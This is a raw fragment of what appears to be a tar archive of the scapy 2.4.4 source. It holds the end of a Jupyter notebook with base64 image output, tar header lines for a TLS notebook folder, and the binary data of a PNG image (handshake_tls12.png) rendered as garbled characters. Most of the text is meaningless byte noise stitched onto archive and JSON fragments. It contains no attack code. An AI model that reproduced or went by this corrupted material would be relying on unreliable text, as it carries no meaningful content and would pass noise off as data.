//Zpd77PFOnTmXChAmAa332SPVUqsqlFalwcbHc3Fxq\n1HC6fFSign3OK5zmzI4ePcqDDz7IX/7yF/70pz/x4osv5t/nCv0H6y/wEydO0KlTJzIzM/Pbnb3/\nCxYswGazERERQVxcHEOHDuXkyZP59zt7/2+//XZatmwJwG233Ub9+vWJjY3Nv9+Z+9+gQQPuuOMO\natasye23307t2rX5+eef8+935r7nSUlJ4cCBA/To0QNwvc8eqX6c7m/07t27s3r1asA6wTbvTBhX\n06FDB6KiogBYs2ZN/tCnMzpx4gR9+vThP//5D8OGDQNcq/+LFy9m2rRpAHh6euLm5sa9997rMv2P\niorCbrcTGRlJ+/bt+eCDDwgLC3OZ/i9YsIAXXngBgF9++QWHw0GfPn1cov8BAQF8/fXXgNX39PR0\nevXq5RJ9z7N+/Xp69eqV/70r/dmV6snp6ngYY3jmmWeIj48HrA+122+/vZJ7VTqJiYn8+c9/ZtOm\nTdnWYPUAAADSSURBVBw8eJARI0aQlZXFnXfeSXh4ODabrbK7WKRnn32WTz75hFatWuW3vfXWW4we\nPdol+l+4yN3YsWNp3bq1y7z/BYWEhDB//nxsNpvL9P/ixYs8/vjjHDlyBID//Oc/1K9f32X6/9JL\nLxEZGUlubi7Tpk2jWbNmLtN3gBkzZlCrVi1Gjx4N4FKfPVI9OV3wEBERkarL6aZaREREpOpS8BAR\nEZEKo+AhIiIiFUbBQ0RERCqMgoeIiIhUGAUPERERqTAKHiIiIlJhFDxERESkwvw/Fd4qx1fIg7YA\nAAAASUVORK5CYII=\n", "text": [ "" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 7, "text": [ "[[],\n", " []]" ] } ], "prompt_number": 7 } ], "metadata": {} } ] }scapy-2.4.4/doc/notebooks/tls/000077500000000000000000000000001372370053500162175ustar00rootroot00000000000000scapy-2.4.4/doc/notebooks/tls/images/000077500000000000000000000000001372370053500174645ustar00rootroot00000000000000scapy-2.4.4/doc/notebooks/tls/images/handshake_tls12.png000066400000000000000000001767751372370053500231740ustar00rootroot00000000000000‰PNG  IHDR]ëKs¥bKGDÿÿÿ ½§“ pHYs  šœtIMEá3)(užó IDATxÚìy\LûÿÇßÓžÒÞL+QˆâJd'ÊZ —K¶ë®–K¸}-×¾»—¸%.rm7˵…,×d Y %¡}¦iÓ>5s~|8¿cfš¦4™x?ýqúÌçœó9gΜ×y½?Ÿ÷ç°(ŠAA@ O‚ ‚ ."‚ ê"‚ ‚ ."‚ ê"‚ ‚ ."‚ ÈG ¡xUŠ¢rss333õõõ9NóæÍY,žAA¦KUUÕ­[·?~\XXhmmݺuëöíÛs8ÔÅZxþüù¶mÛŽ=ÊçóéÂæÍ›|(‹å¯¥ÈM{áÂ…0gΜ¢¢¢±cÇ’:NNNW¯^55µ¬¬,é-?zôÔÕÕ™Ÿ*²;"Ý»w—ØàåË—IýÜÜ\EšÇ¬#;ŽJºdííí•÷À1wî\Š¢–/_þæÍ›‚‚‚Ç[ZZ.\¸ðüùóÒõ¯_¿>f̘ѣG_¹råôéÓßÿ=ddd¬_¿žTpwwß±cÇŽ;Hà×ßßÇ{¼½½ñ A„ÆÅÅ%44TMM nݺõÛo¿uîÜÙÎÎnÖ¬YwîÜùø›vii©»»û±cÇ8ÎÔ©S-ZÔ¿ÿÖ­[‹ÅâððpéïÛ·¼¼¼,--ë§uBºy|,­Ûb±˜xêÑ£G+É/–””ØØØÀž={$a´´´ÜÜܤW€~ø~œ‹Å'N333‰6Œ._¾Œ„‚ r¸{÷îˆ#˜aFÂôéÓ«ªª˜5¿iC¦®®NzâòóóéÖ®]KÌ™„1­¬¬477€Ó§O×uwõó‹2›'Ï/²X,b¹JJJ”ô¨²k×®ŒŒŒ^½z}÷Ýw0cÇŽ½{÷.1¬,X°€‚³X,___øô‡ RWºuëvæÌ™¼¼¼“'ON›6ÍÎÎŽ”ïܹsöìÙsÓ‰D £‡€ÀÔ©SÕÔÔž77×ÂÂbøðᣊ#³y4²ÇÝXZZ¾}û6--MI_Fll,9˜˜‰lmm >>ÞÚÚZ¢ImÛ¶e–‘…’’¼ÄAêžžÞÈ‘#GŽIQÔ¥K—~üñÇŒŒŒ;wŽ7ÎÝݽÞ7í¿þúKb8µµõ°aÃÎ;·ÿ~WWW‰ êÔ©SéÞÄzì®®H7¯]ìÕ«×óçÏŸ={–——§ŒùÛ`ûöíÛ·o—Y!//O¢ÄÂÂBÚ×â ÒP°X¬!C†DEE¹¹¹•••ÓºX×›¶¹¹¹„“!üðÃçÎ;|øp`` ‰ßòù|Ò_HFÔ[#êDMÍ“§‹C‡%~ôèÑ3f4øÙçñx@Ûv è‰Xi´´´ðªEQ6NNN¾¾¾GŽaÀ©ëM»C‡2­‹··7›ÍæóùçÎ=z4„‡‡WWW÷ëׯM›6£u¢¦æÉÓÅ‘#GÚØØdddÿðà ®I–––ùùù_}õÕäÉ“ñ*DQ)ºuëväÈæ“ºÞ´kêÛÒÔÔœ2eJ```XXÑÅÙ˜!¿ëMvž†––™îùóç6lhð6‘.—«¼ïç7B©äŒ]ºtQÆM›HàÅ‹KJJ?~üèÑ#ƒ1cÆ4¬F”––Ö{Ýç ÿùçŸ}||`ÕªUaaa5U«®®NMM­ë^ÉkM8ðøñcéOÅb±P(¬ÿ!©©ÁûLAD‚k×®9r¤&óŸŸôèQèÕ«—2nÚŽŽŽ½{÷®¨¨ˆŠŠ:uêL˜0¡Y³f£b±X¢ŽÄ׆ÑE‹uàÀ^½zQõí·ßΘ1#''‡YA$={¶{÷î»víªë^;tè0þ|±Xìããsÿþ}æG>ìׯét­dÜíÝ»wÉ¿àÊ•+øK@!ÄÄÄL˜0Á××÷Ö­[ꘓ“3nܸììlKKËùóç+é¦M,ã¿ÿþ{á ¢Öiwddhff¦H$¢ë¤¤¤·KÖyï_422º|ùò´iÓ:´sçοÿþ»wïÞ¤”ÇãÝ¿ŸL@Jf™«+K—.½zõj¯^½úôéãââ">|HžÊÊÊê}H½zõJJJÚµkÇ+))¹}ûvûöí===ñÇ€ B\ œ={öìÙ³_}õU»ví ### 555÷íÛ'1ïfÞ´ÇŽëïïæÌ™òòòN:1s6꺻nݺ@VVÖèÑ£½½½ÕÕÕããã÷ìÙceeUTTTϤȜÑÑÑ#FŒÐÔÔ”0”ƒ>þþõ×_¥¥¥žžž...xA¿ˆ|>ˆD¢I“&Í;·¬¬¬cÇŽ§OŸIII)))¹¹¹gΜ!¯«®®fÆTƒƒƒ,XC—TVV†‡‡_¾|ùÕ«WxVäKû‘¦M@@ÀáÇàÛo¿ ÕÒÒ¢?2331b„··wDDDii)s->Ÿl6›.ÉÊÊš4iÌœ9sûöíxbuAšçÏŸ'oå>|øÞ½{ÕÔdÄ?X,Öøñã™%•••………ÀápèBG˜…‚ ."H“¡ªªjîܹ`hhxàÀ™¢(“ÜÜ\i lӦ͉'ø|>yý÷'çÁƒ\.—Íf<ØÂ¿nA]DZˆŠŠJII€_ýÕÌÌLñikÈŒ£šššŽ=ZuŽŽËåΟ?®]»&Gãââ^¿~Íáp\]]uttðª@çS»yýx<À1±HÝ ' ß}÷]V$‹ÆÆÆ*{t Æu8ðõ×_÷éÓ‡6Á‚4q¿èë ƒ¥%ƒ±1XY½[¦lmÁÀ¿-„É;w S§N¶¶¶õ6›Í¡ZYY©¡¡¡®®Þ8?{öl`` §§ç²eË䈷„©UÐûÖ LYAÓÅ÷?~((€‚y5utdK&½`aj˜vò¥PRRòæÍpvv®ûEÇ—öaÁÁÁ‹-êß¿?—Ë•¹Vyyù«W¯š7o^W–IJJÊõë×­­­å ž¦¦¦‘‘Q­Çbhh¨­­]¿–'''‡„„0uÅA]üDPŠV®¨€ìlÈή±‚¶6˜˜| ”òik ššø•¼}û–,Ôcø(í%†¢(™êR\\¼hÑ¢={öTVV@ûöí§OŸ>kÖ,æHŸ¬¬,>Ÿoee¥ o“N©©‚ü©ìȱ|ÌZ™-‘)–‚º¨|ª«aãFÈÉrsÇ{·PYYŸ­UV¾Τ$ÙX,07÷gi ææÀf¿[ Kš5Ãk¢i¡V÷ L¿(S, 11ÑËË+--ÍÐаÿþ•••111sæÌyùò%I!:tháÂ…C‡ŒŒŸâĉªªª‚‚‚ÿþû6¾´.TUUÕª‹€Ìo\oc'sØŽL±DÔEÕF[¬¬ÀÊ œœj¬S^.ÏqffBQQ=÷®È!iÉ”Oä£ñòòJHHHLL|ýúµ]ƒûEŠ¢H*ÈêÕ«%úûôéÓ®]»7nH Ì™3g:wî ÖÖÖ6lˆŽŽŽŽŽ&ŸvéÒ¥K—.tG&—Ëuqq|>ßÐÐPB¤@$¥¦¦r8==½š^Ž€Õ:VHfÊÊÇqEÔE•DWZ·†Ö­å §üh-bq=Mgj*¤¦ÊΚ2RÈ› 8åB-L™2å÷߀mÛ¶*¸–X,&~ˆ©%t!S ^¾|™––3f̰°°àp8lfffÏŸ?‹Å¤ƒ“Œ»»;E‹ÅruuŽŽ...f¶¡°°¶ƒššš––––––2m\xx8Ñf]]]‡C·,ÈÉqTd¬Ô²Ò$ò;uQ9Â)?ZK¬aMª™ ééPUUOá”?DäFk¡E hÞü ¿vÛ·o?eÊ”°°°íÛ·ÿüóÏmÛ¶Ud­üü|‘H$!t!S`îÝ»FFFÆÆÆiii÷ï߯– ÎÓrB¦wïÞˆ,IÌDS«!£`¿~ý y<ŸÏçóù¯_¿–Y_b; Ž‚Ú† á[ÔED–8Éd–­Íή%â*‡Oè´´„Ïý¾¶qãÆ .äææŽ1‚ËåZ) –{”Y(‹ÀÁÁ$EQ|>ŸV©ÜÜ\¢´ÝlÓ¦ÄîjÊ }}ýf5Œ¦…sñâÅC† ¡ËKJJÈ®INžVH~ójŠÍR•‘‘QYYÙ¢E -ìJGP¦S‘h­œ€-Ÿ"ÑG™ÎšNè”èìlÑ¢©Gk9Î… ÜÝÝ“““»víº}ûö‘#G2]ŽX,ær¹·nÝ¢§•¡%‡9¥ªÌÂV­Z@zz:EQ,‹Åb™˜˜˜˜˜8::ÖäA¥µDæpžšrB¤uZ¢Ž¾¾¾¾¾~ë÷×ÛË—/‰.2«)>V꘲RXX¸qãÆ={öµ´´´|||V®\é$§›APÂI¢µrîò£µ Ög×µ&tB C„è` QM\]]oÞ¼9~üøgÏž=ÚÎήwïÞVVVêêêéééÑÑÑ™™™^^^7}¦×!7z‰BWWW++«¬¬¬+W® 4H*­%2Ó?ä2PxrTi›[§±Buò‹)))C† yõꕦ¦f÷îÝ ïܹsüøñÈÈȰ°°±cÇâoA]DŽ:Ek0¡"¤ÚÓï}õÕW<صkWppðëׯ™p,kàÀäÅu5pÚÚÚ‹-ò÷÷_¼xqÏž=õõõ%ö+‰È|ªrdì#ý¢¹¹¹œ'ÛÑÖÖnþ¾³¹Nc…÷‹cÇŽ}õêÕàÁƒwîÜIœtUUÕúõëW®\9aÂ{{û.]ºàOA]DÑtÊÖVT@~¾Š&t6Êô{Íš5›7oÞܹs_¿~ýðáÃÜÜ\±XlaaÑ«W/Eò÷kš\æ§Ÿ~Ú¶mÛýû÷Ò­[7555‘HtÿþýàààÁƒO:UŽŒUUUåçç×ä›×zô¨]»vǧ›­©©¹bÅŠŠŠŠßÿ}ÅŠgÏžÅ_*‚ºˆ¨ $ª`´V¦|fdÀûGëLý:™ ”Àb±ZµjEÜLM|÷Ýwݺu“Ð$™… ££sñâEooï{÷îõèÑÃÜÜ\[[;??ŸÌe3|øp¦ºIŒC¡ä%„§¢¢‚ùiM~±“À)>VjHY‘˼¼¼;wÀš5k¤OÑÿþ÷¿­[·FFF>xðÀUÎÐnA]DTE¢µ*›ÐÙpÓï988888(RH°³³»wï^hhhxxxRR’ºº:‰Θ1ÃÍÍM¾Ý¬)îyðàÁ³gϬ¬¬oß¾P«eBQ”´|*>VjHY‘Ë+W®…B`Ø¡155mӦͣG.\¸€ºˆ ."Ÿõ˜~OE:•<ýž®®îœ9sæÌ™#ǃvíÚUzs2y©´_ôööÞ¼y³@ hß¾=­.¿þú+qrååå%%%PÛt3EEE$9’YMñ±B5ɶ´X>{ö Z¶lYSg'Iyõêþ†ÔEä ãã§ßËÊ‚ÂÂzî]…:k²›B¡P 0Ó?ˆñÚ·oß¾}ûÀØØØÞÞ~äÈ‘fê>ê2VjÈN‘Þ,‘I:–Iii)þ8ÔE©ÙtÖoú½FHèüÓï‘iޤ˧NJÆìHcffvòäIסC9[®iÒÇ A )+ÒbIæV-((`j*S~üø¸qã$šqîÜ92ä•9/‚ ."HƒR¿é÷$ä³~||´¶±:[´hÁªÃD‘±B wΦXÚÙÙýôÓO;vìX½zõ!CŒŒŒèrssýýýÀÃÃ9a:‚4iXTýòÁD•©5¡³ÞÑÚZ¡§ßû¤ ŠðâÅ‹ÄÄÄæÍ›{xxÐ…K–,Y¿~}ÿþýéwc@NNNçÎy<^ûö탃ƒû÷ï_UUuåÊ•_ý555ÕÄÄ$66¶¦½‚ºˆ M9ÑÚ‚HO‡_ÕÈOè´¶†'S±€´´4ŸG «’òN:íß¿ßÅÅ/(uA>wjMè¬÷ô{Чœ—Z7hB§â”””lÛ¶-""âéÓ§,ËÉÉéçŸþá‡Ô½%‚ºˆ *‰tB§DggZZ=§ßS„O—Љ ¨‹‚|„é”ã833¡¨HY»–­•OAPDå„SIÓï)"œžÐ‰ ¨‹‚|4ò:ë=ýž"HGk™Ë-Z@ÍoA¦QC‹…ºˆ Ÿ…é”ã8³³kIÊüxÓù)¦ßCô‹‚|„pÖôбFK謩³Se:uAJš~OAÓ)ÇqÚØ€¡!~?ê"‚ *i:U!¡óÓM¿‡|Æ`ÿ"‚ M­Óïåæ~²„NŒÖ"èQEèh­LùÌÈ€·o•µkùÑZLèDPQET9¡óSL¿‡ ."‚ÈEzú½O›Ð‰Óï¡."‚4Ó)ÇqfeAa¡²v ¼x::`cƒºˆ ¢ÚÂ)Çq*5¡ó‹š~ï¿ÿ`ÈÐЀ»w¡S§¦ÒjœüA/]]ÐÕ++pu­±Ž’:+* ;²³!)©Æ:t´V¦|ÚÚ‚AÓ8ÏOž€H"œ>Ý„tý"‚ H}MgM¯£ •DSIè|ðºvhÑ’“A[uAä æ&tÒÓï}ò„ÎnÝàþ}€eË`õjÔEAD.r¢µžÅÅJ4r§µ55À^.^„¡C44àâE8uAùTgú½z'tþðìÝ `j \.t숺ˆ ‚( é„N‰Îδ´O6ýIè,/‡¾}áÁss¸zœQAO„X ¹¹› |>ää¼[ÈÎ~WHÊË•µwSS`³ÁÀ¡´ÀÌ ŽwwÔEADUiäé÷ÔÕaËð÷G]DAš,ò:ë:ýžƒ¤¤¨æb^?‚ ¢dè|ÓY“ã”èælÖ æÍSÙE¿ˆ ‚(“'`òäw]˜jj0k,Yl¶Ê¶ý"‚ ¢4€ï¿×7icaa0`€Š7ý"‚ ¢ΟŸw3°Çމ‰ê·uAQ<8;ƒ@àë G6•—Sªáw‡ ‚4<Û¶½E77ˆˆhBolF]DA”Àùójjð÷ßMåM¨‹‚ ˆÒ˜>ÌÍaölÕŸUì_DAô‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ºˆ ‚ ¨‹‚ ‚ ."BCQTaaajj*ž uA”@8v옱±±««+žuA/ ™Èf³ °°P(â)BPi2TWWÇÇÇGEEÝ¿¿~[)¤rssñ$#¨‹‚¨ùùùÏŸ?ö왜:eee]ºt6lXppðÇ袄r8²Àçóñ‹@PQ Zµjåèè8}út9uš7o®­­ý1&SÕÕÕQ‘/ <¢R°Ùì·oßÊW&‹Åf³ÓÓÓë-`DE"s jjjæææ9995möíÛ·\.7%%EOOÏÍÍ­K—., ¿2uAåêâ‹/j¼ÔÅš$Ífçääðx<‰ú"‘hãÆ6l(..¦ ]]]ÿúë/777üÖÔEA”‰pæååUUUijjÊÑEàóùEÕÏ´É”@z³¢8qâĈˆI“&õèÑ#//ïøñã<èÓ§ODDĨQ£ð‹C¢¼rs!'( ºwG]D£ªª*55UMMMOOÏÐÐPOOïsò‹d!//ÏÂÂB~µêêê‚‚™u233oܸ!‹mllºwïNº$åK ÌÂÝ»wGDDX[[Ÿ={ÖÅÅ….Y²dÕªUkÖ¬™0aB||¼££#^–”—Cv6deAAÁÿ/0—‰"ÀW_ÁǨ‹Ò\¿~}óæÍQQQt‚ššÚÀýüüüüütuu?]äóùµê"©&­‹ååå¡¡¡"‘ˆ”ØØØìÛ·ÏÓÓ³®º( ׯ_[·n¥EÔÕÕW®\{éÒ¥€€€sçÎáÅù™SQùùˆœ„ò¥§CU•¢[“ŠÕ£."H‹Å ,ؼy3ù×ÎÎÎÈȨ¸¸øåË—W®\¹råJ¿~ý>']T°š„W …^^^\.×ÄÄdâĉ-[¶«+³H IDATŒ=~ü¸——×ÿý×§O9ºH¢¸ÌˆˆˆôôôV­Z9R¢ jjj³fͺtéÒ… ÒÓÓmmmñ*ýܬSùh«× äæ‚X jª˜ºˆ4‚ƒƒ‰(Κ5+ ÀÎÎŽ”çåå…„„lÞ¼YŽ»ReH’~IIÉ€×E##£šªmß¾Ëå:88\¾|™>K‘‘‘¾¾¾Ó§OôèIÆ–@™bCžBÔdÝÂúõ맦¦&‹oݺ5nÜ8¼JU”²2àó!'rsßuïñù ¼[ …ïC ±1p8`nææ`iùnÁ¢!UuùÉÉÉY¹r%0?255]¹rå¬Y³ôõõU¤µò;ö–/_0qâÄ‹/úûû'''ûøøHèb||<‡Ãáóù|>ŸÇã1x<^yy¹L] …[¶l€Ý»wÓ¢ÞÞÞ¿üòKHHÈõë×™;’©‹<Î# ¦.LCCCccã¼¼¼7oÞàUªºV/;[Y»ÖÖ06cc°²KKÉÐÒjZ§uiDDD¼}û¶eË–sçΕYÁÌ̬‘›$ /\¸ÀçóÇŽK»7E:ö222âãã_¾|yðàÁ©S§ŠÅb6›Ý¥K¦2‘'€ÀÀ@éý6kÖÌÂÂBOO/11QZØ.^¼˜‘‘áèèèîîÎ,‰D¾¾¾!!!QQQL]dJ ]( ß¾}khh¤ËöÕ«W2O™ä E>Vó$†®H,äæBuµ²ö®£S£à‘ ÕŒ…¢."Ÿ?¯_¿GGGT*t`SCC#..ÎØØxÊ”)ÒÕ®_¿>räH33³ï¿ÿžVJÅ;ö¸\îºuë455wîÜ9eÊ:JIÏDÓªU«#F°Ùl‡Ãf³é2ø6##ƒôçIèbFFhhhÌ;—i1X,€¤¤¤š$>Œâ’ÂŽ;ÀÇ‹ŠŠèj4éééä  C‡x•6¼ÕËΆ‚´z¨‹"ƒŠŠ xñâ…X,V«ãó©ü¨&ÔØœ¼{ôÈššfç!í)///))‘“|Â|·°ÖûñZZZ!!!~~~þþþ...ÌjHÈtÚ´i $\,-PCþ†¡¡áŸþ9}úôƒ>{öLMMÍÙÙyüøñijªb¯žÌIÈÈŸ¯Ä\=f¯žLå³´| ê"‚4_}õU||ü;wnݺuïÞ½¸¸¸/^PÏŸ?‰‰!=^Ч+0uÑÏÏOz§~~~«V­zùòå¶mÛ–.] thÔËË‹© ¤c/,,ÌÜÜ\zt RÂ|'°´2q’£‹´¾æææZ[[ÓåãÇçr¹¡¡¡nnnóæÍóðð011‰‹‹;}úô… ´´´Ù…L ìÞ½;õ#½ÇvíÚ­]»VU¬žLåËÌ„¢¢Æ³zʇVuA‹Õ³gÏž={’‹‹‹¹\îÒ¥K>|8oÞ¼]»vA]¢šP[`SCCcÉ’%ßÿ}PPмyóôôôbcc‹ŠŠlllœéj$1..΂t¼Õø«ÓÐ055ÍËË«)RÊÔÅÖ­[Ë÷‹¤S $$D__?((hÓ¦M›6m¢ËûôéJ¯(S/^¬*VOZùÐê!¨‹"ŸæÍ›ûøøxxx 4èöíÛ{öìY±b…•••âQMP °9iÒ¤Õ«W¿~ýúàÁƒÓ§O'‹^^^Ì<Õµc///¯¦™Þèö(8Eª´¾jiimÞ¼yæÌ™$jÚ³gOOOÏvíÚ1ÛÜØ(ßêedÀÛ·hõÔEiôôô~ÿý÷þýû‹D¢ëׯ?^ñ¨&(ØÔÔÔüí·ß¦M›¶cÇŽiÓ¦]»v >ì\„ºwì=}ú´V¿(è««ëìÙ³ÙlvMžÒÞÞ¾ñ”O­ž„ò!ê"òEÑ»wo}}ý’’’·oßB]¢š @`¾ýöÛµk×>~üøÖ­[ñññZZZu>²c¦U«VÞÞÞæææöööršÝ½{÷îöfWi«ÇT¾OeõÈ› x+CPäCÄb1IToÙ²%Ô1ª µ6@[[{Ñ¢E¿üòËÿþ÷¿âââÁƒË|²â{eee$OQ''§³gÏ6Þ¹«ÉêÑ hõ/ ¥ªoú@:A§¯^½"s¶ýóÏ?~~~zzz7nÜÕ€DGG/^¼xݺu5í¢¢¢ÂÞÞ>++ ‚ƒƒýýýkªùòåKù{Š|«—žÅÅhõý"ÒôX¾|¹µµõ?ü }úôéÿþ÷?˜1c=‘©âQM¨-°ùþ&¯³wïÞ§OŸr8œ!C†È©Ùx{µZ=Äbeí ѬIù¬­á}º'‚ _D†gĈ‘‘‘vvv£Gîß¿¿™™™±±qnnnTTTHHHII‰……EBBó…SB¡ð·ß~ ¨ $ªÙ¾}{ºdË–-\.wðàÁd.S• ²òòäM<‘B!Z=A]D¾P–-[H^¬!MÇŽOœ8A^!jE5Ñê!ê"‚4yyyÇŽãr¹III¥¥¥eeeêêê:u?~¼ŸŸŸ–ê¼+N¬žœw ¡ÕCÔEi`«'gúÍF³z2•ÏÆ¤ÞŒ ˆâà3#‚Ô`õjR¾Okõ8hr/¯@ÔEiÂV/'”DA«‡ ¨‹¢BV/=ªªÉêI+Z=A]DeY=™Ê×ÈV©|¶¶``€_‚ ."HQQùùò&žF«‡ ê"‚V¯1¬^‹м9~E‚ ."ŸµÕ£,,àý$¨‚ ¨‹ˆr¬ž„ò)9VÏÊ ll@urùA]DÐê¡ÕCuA«§ÚÚ`b"oâi´z‚ ." ¬yr¦ßÌÊ‚Ü\¨®V¢Õ“3' Z=AP‘FµzÙÙPP€VAä Ðż<ðö†ÒR8}ZµB«÷ ¬ž¥%|òw0!‚ .¾#"îÜø÷_h’'µ @Þô›YYPX¨t«W“ò¡ÕCibºxøð»…NT×êÉ™xºÑ¬žLåC«‡ òYéâ¿ÿBL ‡}ú¨œÕËÌ„¢"%jž„ÈIX=[[ÐÔÄKAä‹ÑÅÌL˜1ãÝòÂ… «ÛØVÏ‘­‚ È— ‹RÞ¤”u¢´„»wºv…Û·A£ŽšM[=™Ê×ÈVOBùÐê!R¤¥¥íß¿?>>žÃálݺUKKë÷ßß±cEQiiiÊÞû›7oŽ=ª««;kÖ,ü.Dõübi)xy½E##8|XR%¬ž´ò5¾Õc*Z=¤f(Š¢(JíÃlÎ'Ož 8Ïç“—/_neeUQQ‘––Æb±ª««54”ûÛLKK[°`ƒƒê"‚¨ž.æçèQpý:€†|ó üý7ðx <äæBE…²öÞ¬°Ù`aææ`nÀfƒ™Ù»Rˆ/BêÅ¡C‡–,YÂãñ"##===™M›6Ïç¯_¿~ìØ±¯_¿ÖÒÒ€nݺM™2…Ãá…Beë"›ÍZ˜k"33óÆb±ØÆÆ¦{÷îÚÚÚøµ"Ÿ=Ÿ:Ž ãÆÁ›7ŸÌêYYáE€(O'Ož ááá&L`šEggg''§„„Ö'Š4˜˜˜@yy¹ŽŽEQ%%%ºïûõËËËBCCEï#1666ûöí“xQ”âbÈΆÜ\ÈÍtuaÊô‹²øî»ú‹¢œ^=²ÀfƒNèó%’““SXXêêêvvvšŸ¨s×ÎÎÎÕÕ•Íf›šš2ËSSS€Ãá(Isrrnß¾Íãñlllz÷îmllÌüôîÝ»111999äßž={ðx¼ŠŠŠL™2„B¡———Ë511™8qbË–-ccc?îååõßÿõù$cÅGþŒ xûöƒú: .Ö@ÇŽðôi}¬ž•|økGgÏžýùçŸçÎËÌÌd\G:...‹-òññið=ʽҧOŸû÷ïK—À[‰Û„”••EGG'&&ª©©éèèôïß¿cÇŽô§EEEE-^¼øáÇt¡±±ñêÕ«™Í‹ŒŒ\³f ó¤q8œŽ;r8\€íÛ·s¹\‡Ë—/ÛÙÙÑ+úúúNŸ>ýÑ£GêØ¹ðE¡ŒµÅð?%Ô§E(¤Âé¶m)€w:Pññ”HD!ˆÂTVV.X°€iÔºvíêèèhaaAJBBB”±ßëׯ€ƒƒCÖ:uê´hÑBñUÄbñÖ­[%|'tìØ133“ÔÙ½{7­ÇK–,Ù»wïĉIÉèM%&&žŸ/Ýø‹/fdd8::º»»3ËE"‘¯¯oHHHTTÔ€ðÂkANλ^=f÷=¶1?_Y»VS{7t‘9¶ÑÒò݇£²CU£ûMG‚‚`Ø0ðóƒ‚HOOOˆ‰¼ª‘Z“'O¾zõªššÚÁƒ™Ã[€ÅbõèÑ£GJÚ;Q¸·oßVTTȽ²wïÞ[·nõíÛ÷Ûo¿€×¯_Ÿ:uêéÓ§PYYÙ­[7@ÀãñxîÜ9X¶lÙ;w–/_ÎÔÅ'NQHGGG¼ðƒšzõèÄbeídfפ|ÖÖ`dô¹žxsGG¸rzö„ÂB¸q""@ùw:¤é"‰ C‡sæÌ©ÇjÍÏ[¾|yddd@@Àĉ/^¼èïœìããóÕW_Õ:z!Sò¯‹‹ËÉ“'9އ‡Gyyyxxø×_-­Ut}¸{÷î½{÷àǬW­ÈÐÐh —ØWnn®D9S3`À€°°0sssÌYüV/;22@(D«‡ºø^·n}7~÷ï¿Q9DGG¿~ýê:BRÁü¼ŒŒŒøøø—/__Zkê_$´µµ€öíÛÛØØddd„„„ìÚµKz………†††,+==ìì옢(‹‰Ù-)))++#)Œ„¶mÛêèèTTT¬Y³fîܹ>ܺu«§§çöíÛ $$D__?((hÓ¦M›6m¢×êÓ§Ohh¨ŠŠb­V/'”7#4Z=ÔEùä¡’uM«¯S~-V5L1¯ˆ_$ýåÒãk¤ë]d±X›7o7n\hhè AƒÆŒìêÔ©™3gÞ¿ßÊʪW¯^ܳg££ãÈ‘#544îÞ½xóæMz›L¬««ëçç·oß¾ãÇ“\KKKò©––ÖæÍ›gΜA¢¦={öôôôl׮ݧ™ëœ¶z5)_cZ=iåC«‡ºˆ ª€££cVVÖãÇ bW§ü<ÚÀÕ4ÒD¾.êééééé•––JT¨i-555±XÌ ±~óÍ7W®\Ù½{÷رc'Nœ8hÐ “»wï^½zõÖ­[Dé­¬¬¦NôüùszGaaaS¦La±XyyyL]$¦PCC#>>¾C‡îîîÆ £gÎ#ØÛÛ/^¼¸±­žLåkd«ÇT>[[`x}uATWWW2WçÍ›7½½½\«Nùyôˆù‘RéÑ+Ì ¯^½’èJ$k…B2Ý6333é®Û·o×××gžíÛ·“ì~˜˜˜ ÄÅÅ@çÎ 4räÈfÍš 2ÄÔÔT:ଧ§ªôï©¢òóåY½ôt¨ªB«‡ ."ÈÇ2nÜ8ÒõuáÂÅu±Nùy¦¦¦yyyÒcdrF¯0uQ¦_$+JDh9Ž´.jjjnÙ²eæÌ™ÇŽKHH (ÊÅÅ¥wïÞ=zô`ª©©éž={jo´z‚ºˆ|ætéÒÅÕÕõÁƒ{öìY¼x1-Eò©k~›ÍÎËË«)R*ô Ô2eö#J袅…EVV–̆;88üöÛozŠ¥­ž„ò}«G/XXÀçš.‚ ."H=`±Xþùg¿~ý*++øá‡óçÏ+’TW×ü<‡óôéÓšü¢üÑ+УG±XL& 1331b„¹¹¹tÂþÅ‹o`‹L«ÇT¾OhõZ´€æÍñ"G>Á…RÞE Âܹsƒƒƒ`ÆŒ!!!2Ó6(ŠÚ¼yó°aÃh}š6mZhh¨†††Ìü¼ôôtfæâÑ£GüñGú‡”––Λ7OÎè•OZ=A]D¾LD"Ñøñã‰WswwÿóÏ?;wîÌü4::zùòå·nÝ:|ø0†( ûí·   ñ‡s—ü¼öíÛÓ%[¶lár¹ƒ&oåUjµzÙÙÊÚµ¶6˜˜È›xÚÆƒ‰uA>4®^½zÍš5äzvrrêÔ©“¦¦fvvöƒòóó wïÞááá“ã¼|ùRUòó$4OΜ,YY› ÕÕhõuAä‘””´~ýúS§N•––þÿ%ÎbuïÞ}Μ9cÇŽUW‘áøhõuAªªªøøx@P]]Mö¿ «'gúM´z‚ºˆ ý.Y™Ê—•……J·z5)Z=i0OAšˆÕ³´„OÞñ‰ ¨‹‚V¯a4OBí$”ÏÖ45ñ+BÔEiP«'çCfõd*Z=A]D¥X=™Ê—™ EEgõ$”­‚ ."H£Z=>D"´z‚ ."hõÐê!‚ºˆ4]«'­|oõ$”QŠ¢ŠŠŠòóó[·ngA]DŬSù22àí[´zŸ ÇŽ7nœ‘‘QAAž uA«‡VïK‡¼?¤°°P(j5Íù233oܸ!‹mllºwï®­­_+‚ºˆ¨¶Õ# l6hà…Wg„B¡X,ÖÑÑQª.€@ °R™ç‘H”œœl```aa¡®®^ZZzîܹ»wïÞ»w/<<ÜÆÆæýc^y@@@hh¨èýÜ;}û<==ñÊAP¿`«G/ðxðồÏêYYAcNFú¹@úöx<ÿC˜%[·nUÞ»®8Yàóùª ‹"‘hÅŠ¡¡¡¹¹¹`gg7pàÀ'N½¨õßÿ}ûí·ä‰ÁËË‹Ë嚘˜Lœ8±eË–±±±Ç÷òòúï¿ÿúôéƒÒôu±¬ ª«ÁÀ­ž «—žÅÅhõ>3ÌÌÌÈ˰䠧§WYY©¼6«««‹D">Ÿ¯ìã\.·¨¨¨M›6}úô‘~Ï 